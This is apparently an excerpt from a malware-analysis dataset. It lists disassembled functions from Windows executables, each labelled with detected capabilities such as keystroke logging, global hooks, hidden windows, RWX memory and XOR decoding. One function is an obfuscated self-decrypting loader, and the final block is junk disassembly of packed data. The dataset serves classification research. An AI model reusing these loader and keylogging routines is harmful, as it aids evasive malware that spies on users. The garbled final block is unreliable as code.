joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b904
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push 0x100
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b93d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404688
jmp 0x40b946
mov eax, ebx
mov edx, esi
call fcn.004045ec
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b950
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b971
mov al, byte [esp]
jmp 0x40b973
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40ce78
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40cedc
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404800
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00408b6c
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cee3
lea eax, [ebp - 0xc]
call fcn.00404598
ret

Function at 0x424a60
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.00424898
dec esi
jne 0x424a82
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret

Function at 0x4261cc
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x494a28
cmp dword [edi], 0
jne 0x426248
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x494a24]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x492618
mov ecx, 2
call fcn.00402990
mov edx, 0x4261a4
lea eax, [esi + 5]
call fcn.004261c4
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.004261c4
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x42621d
mov dword [0x494a24], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x42784c
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x427852
ret
Function at 0x44e15c
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x493778]
cmp byte [eax + 0xc], 0
je 0x44e2c9
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44e2c2
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x494bf8], 0
jne 0x44e1b0
push 0x44e2d0
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x44e2d8
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x494bf8], eax
cmp dword [0x492be4], 0
jne 0x44e2ab
push 0x44e2e8
call sub.kernel32.dll_LoadLibraryA
mov dword [0x492be4], eax
cmp dword [0x492be4], 0
je 0x44e2ab
push 0x44e2f4
mov eax, dword [0x492be4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x494bfc], eax
push 0x44e304
mov eax, dword [0x492be4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x494c00], eax
push 0x44e318
mov eax, dword [0x492be4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x494c04], eax
push 0x44e330
mov eax, dword [0x492be4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x494c08], eax
push 0x44e348
mov eax, dword [0x492be4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x494c0c], eax
push 0x44e35c
mov eax, dword [0x492be4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x494c10], eax
push 0x44e374
mov eax, dword [0x492be4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x494c14], eax
push 0x44e38c
mov eax, dword [0x492be4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x494c18], eax
push 0x44e3a8
mov eax, dword [0x492be4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x494c1c], eax
push 0x44e3b4
mov eax, dword [0x492be4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x494c20], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44e2c9
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x4527f8
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00404598
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x452847
push 0x100
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, 0x100
call fcn.00404800
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x45a694
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x45a6e4]
test si, 4
je 0x45a6a8
or bl, 1
test si, 8
je 0x45a6b2
or bl, 4
test si, 1
je 0x45a6bc
or bl, 8
test si, 2
je 0x45a6c6
or bl, 0x10
test si, 0x10
je 0x45a6d0
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x45a6df
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x4611f8
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4613a3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x461384
mov dl, 1
mov eax, dword [0x41a19c]
call fcn.00403778
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404598
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x461373
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0044e4bc
test al, al
je 0x461366
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x4613b4
lea eax, [ebp - 0x254]
call fcn.004095b4
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x461366
xor eax, eax
push ebp
push 0x46135f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0x100
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x4613ec
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x461348
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, 0x100
call fcn.00404800
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x461348
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, 0x100
call fcn.00404800
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x461366
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x461269
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.0041eb8c
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4613aa
lea eax, [ebp - 0x260]
call fcn.00404598
ret

Function at 0x461cd8
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x494c3c]
cmp byte [eax + 0xa5], 0
jne 0x461d49
cmp dword [0x494c54], 0
jne 0x461d0a
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x461c94
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x494c54], eax
cmp dword [0x494c50], 0
jne 0x461d25
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x494c50], eax
cmp dword [0x494c58], 0
jne 0x461d49
push esp
push 0
push 0
push 0x461c38
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x494c58], eax
pop edx
ret
Function at 0x461e40
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x461e57
add esp, 0xfffffff0
call fcn.00403b0c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00424b28
mov eax, dword [0x4934d0]
cmp word [eax + 2], 0
jne 0x461e7f
mov eax, dword [0x4934d0]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00463474
mov eax, dword [0x4935c0]
cmp word [eax + 2], 0
jne 0x461e99
mov eax, dword [0x4935c0]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0046366c
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x419b38]
call fcn.00403778
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x419b38]
call fcn.00403778
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0x80000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x427700]
call fcn.0042eb74
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x462020
mov eax, dword [0x4933c4]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042ef44
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x463bdc
push 0x100
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x4933c4]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040ce10
test eax, eax
je 0x461f8e
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408ed0
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040ce38
test eax, eax
je 0x461fa2
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, 0x100
call fcn.00404800
mov eax, dword [0x49325c]
cmp byte [eax], 0
jne 0x461fd6
mov eax, ebx
call fcn.00462148
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.00463db8
mov eax, ebx
call fcn.00464768
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x462016
call fcn.00403b64
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4623bc
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x494c3c]
cmp dword [eax + 0x30], 0
je 0x462466
cmp dword [ebx + 0x94], 0
jne 0x462460
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x46234c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x462460
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x462426
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x462460
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041c500
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x462435
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x462f44
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x462f79
push 0x100
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404688
jmp 0x462f86
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004045ec
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x463f94
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x463fd5
mov eax, esi
call fcn.00449bb4
test al, al
je 0x463fd5
mov eax, dword [ebx + 0x84]
call fcn.004498b0
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x463fd5
push 0
mov eax, dword [ebx + 0x84]
call fcn.004498b0
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x465280
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov esi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404a38
xor eax, eax
push ebp
push 0x4652fe
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404a48
mov dword [ebp - 8], eax
cmp dword [ebx + 8], 0
jne 0x4652c9
mov eax, dword [ebx + 4]
call fcn.00404a48
push eax
push 0
call sub.advapi32.dll_RegisterEventSourceA
mov dword [ebx + 8], eax
push 0
lea eax, [ebp - 8]
push eax
push 0
push 1
push 0
mov eax, dword [ebp + 8]
push eax
mov ax, word [ebp + 0xc]
push eax
push esi
mov eax, dword [ebx + 8]
push eax
call sub.advapi32.dll_ReportEventA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x465305
lea eax, [ebp - 4]
call fcn.00404598
ret
Function at 0x48359c
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x2c], ebx
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x483707
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004828d8
xor eax, eax
push ebp
push 0x4836ea
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
cmp ebx, 0xffffffff
jne 0x483601
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x483601
lea eax, [ebp - 8]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
jmp 0x4836d4
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x483614
call fcn.00404020
jmp 0x4836f1
lea eax, [ebp - 0x10]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
test eax, eax
jne 0x483635
cmp ebx, dword [ebp - 0x10]
jle 0x483635
mov ebx, dword [ebp - 0x10]
push 0
push ebx
push esi
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_recv
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x4836d4
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x4836d4
lea eax, [ebp - 0xc]
push eax
mov cl, 2
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.004039a4
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x4836d4
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
call fcn.0040b8b8
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x24], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x1c], 0
mov eax, 0x483720
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 0xb
lea eax, [ebp - 0x28]
push eax
push 2
mov ecx, dword [0x49363c]
mov dl, 1
mov eax, dword [0x481540]
call fcn.0040c208
call fcn.00403f74
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4836f1
mov eax, dword [ebp - 4]
call fcn.004828e4
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48370e
lea eax, [ebp - 0x2c]
call fcn.00404598
ret
Function at 0x489854
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, ebx
call fcn.00404598
lea eax, [ebp - 0xc]
push eax
mov eax, esi
call fcn.00404a48
push eax
push edi
call sub.advapi32.dll_RegOpenKeyA
test eax, eax
jne 0x4898fb
xor eax, eax
push ebp
push 0x4898f4
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0x100
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.00404bd4
lea eax, [ebp - 8]
push eax
mov eax, dword [ebx]
call fcn.00404a48
push eax
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404a48
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4898d6
mov edx, dword [ebp - 8]
dec edx
mov eax, ebx
call fcn.00404bd4
jmp 0x4898dd
mov eax, ebx
call fcn.00404598
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4898fb
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x48b7a0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
xor ebx, ebx
push 0x100
lea eax, [ebp - 0x104]
push eax
push edi
push esi
call sub.advapi32.dll_RegEnumKeyA
test eax, eax
jne 0x48b7e1
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x104]
mov ecx, 0x100
call fcn.00404800
mov bl, 1
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x48b7ec
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
xor ebx, ebx
mov dword [ebp - 8], 0x100
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x108]
push eax
mov eax, edi
call fcn.00404a48
push eax
push esi
call sub.advapi32.dll_RegQueryValueA
test eax, eax
jne 0x48b83a
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x108]
mov ecx, 0x100
call fcn.00404800
mov bl, 1
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x48ff9c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov byte [ebp - 1], 0
lea eax, [ebp - 8]
push eax
push 0x49000c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyA
test eax, eax
jne 0x490005
xor eax, eax
push ebp
push 0x48fffe
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
push 0x490034
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
sete byte [ebp - 1]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x490005
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
mov al, byte [ebp - 1]
pop ecx
pop ecx
pop ebp
ret
Function at 0x491568
Capabilities:
Get session user name
Query service configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x4916d4
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x491667
push 0xf01ff
push 0x4916e4
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_OpenServiceA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
setne byte [ebp - 1]
cmp byte [ebp - 1], 0
je 0x49165e
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_QueryServiceConfigA
mov eax, dword [ebp - 0x1c]
call fcn.00408708
mov dword [ebp - 0x18], eax
xor eax, eax
push ebp
push 0x49164e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_QueryServiceConfigA
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x1c]
call fcn.00404788
mov edx, 0x4916fc
mov eax, dword [ebp - 0x14]
call fcn.00408854
test eax, eax
jne 0x491636
lea eax, [ebp - 0x14]
mov edx, 0x491710
call fcn.00404630
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x491655
xor edx, edx
mov eax, dword [ebp - 0x18]
call fcn.004027b4
ret
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CloseServiceHandle
cmp byte [ebp - 1], 0
je 0x4916b9
mov dword [ebp - 0x1c], 0x100
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
call fcn.00404bd4
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x10]
call fcn.00404a48
push eax
call sub.advapi32.dll_GetUserNameA
mov eax, dword [ebp - 0x10]
call fcn.00404a48
call fcn.00408e94
mov edx, eax
lea eax, [ebp - 0x10]
call fcn.00404bd4
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
call fcn.00408854
test eax, eax
sete byte [ebp - 1]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4916db
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004045bc
ret
Function at 0x40672b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x40673a
pop dword [ebp - 0x38]
mov eax, 0x771b78be
sub eax, 0x76db1184
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xe071e323
sub dword [ebp - 0x48], 0x921f9dd8
mov dword [ebp - 0x44], 0x598a25c4
add dword [ebp - 0x44], 0xd8a92681
mov dword [ebp - 0x40], 0x8ea64740
sub dword [ebp - 0x40], 0x425a0312
mov dword [ebp - 0x3c], 0xccb46e2
sub dword [ebp - 0x3c], 0xccb46e2
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x230ca4a8
add dword [ebp - 0x48], 0x5165c4ae
mov dword [ebp - 0x44], 0x30fb47dc
add dword [ebp - 0x44], 0x10711999
mov dword [ebp - 0x40], 0xe90e5820
sub dword [ebp - 0x40], 0x859eebb4
mov dword [ebp - 0x3c], 0x64f2d316
sub dword [ebp - 0x3c], 0x64f2d316
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x34df9
push 0
call eax
mov ecx, 0xcd4cb74b
add ecx, 0x32b38623
xor edi, edi
add edi, eax
mov edx, 0x46e400
add edx, dword [ebp - 0x38]
mov esi, 0xd4e8c0f
add esi, 0x586bafff
sub dword [ebp - 0x14], edx
mov ebx, dword [edx]
add dword [ebp - 0x30], 0x2b0ecdb8
xor ebx, esi
add dword [ebp - 0x10], edx
mov dword [edi], ebx
xor dword [ebp - 0x18], 0xe20d8ac8
add edi, 4
add edx, 0x28fcbc86
add edx, 0xd703437e
loop 0x40684e
add eax, 0x7a76e5be
sub eax, 0x7a75fd33
xor ebx, ebx
add ebx, eax
add eax, 0xb3b81d60
add eax, 0x4c47e2a5
mov ecx, 0x6304f425
sub ecx, 0x62c4f425
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x24e9861
Capabilities:
Encode data using xor

Disassembly:
push dword [esp + 4]
call fcn.02537fa3
test cl, ch
mov word [esp + 4], si
clc
shl edi, 8
call fcn.023081e2
sub ecx, dword [esi]
dec edi
jnp 0x24e97a4
mov ebp, esi
test dh, cl
jl 0x24e9741
aam 0x3e
fcomp qword [esi]
hlt
inc edx
mov eax, dword [0x68ed2b59]
jae 0x24e9773
pop ss
or dword [esi + 0x62ea5017], edx
inc edx
insd dword es:[edi], dx
iretd
pop ebx
dec eax
adc dh, byte [0xa9e3150]
push esp
nop
xchg edx, eax
test al, 0x6e
je 0x24e97f5
sbb dh, al
mov byte [esi - 0x7ad8c5a4], dh
add eax, 0xe44ca59a
cmc
out dx, al
jbe 0x24e97d6
dec edx
jecxz 0x24e97ca
add edx, dword [eax + 0x1a]
retf
jne 0x24e97b6
fcomp dword [esi + 0x18]
call 0x143b0244
pop ds
sbb al, ch
xchg ebp, eax
push 0xffffffffffffffec
adc dword [edi], ebx
mov ah, 0x26
cmp esp, ebp
sbb ah, byte [esp + edi*8 + 0x4a]
cld
dec edx
sub byte [esi + 0x1e645e7c], ah
cmpsb byte es:[esi], byte es:[edi]
jle 0x24e97d9
sbb esi, dword [eax - 0x47b56bce]
ja 0x24e97a9
push cs
jnp 0x24e9838
mov ebp, dword [edi]
popfd
inc ebx
loope 0x24e9846
loope 0x24e9760
popal
ret
pop ss
popfd
mov edi, 0xadd7fcb7
dec esi
or byte [esi], 0x84
retf 0x6d86
aad 0x6c
push ds
cli
adc al, dh
iretd
sbb dword [ebx], ebp
in eax, dx
ret
add al, ch
inc eax
mov eax, dword [0x8966fffe]
jmp 0x24e9860
add bh, bh
xor al, 0x24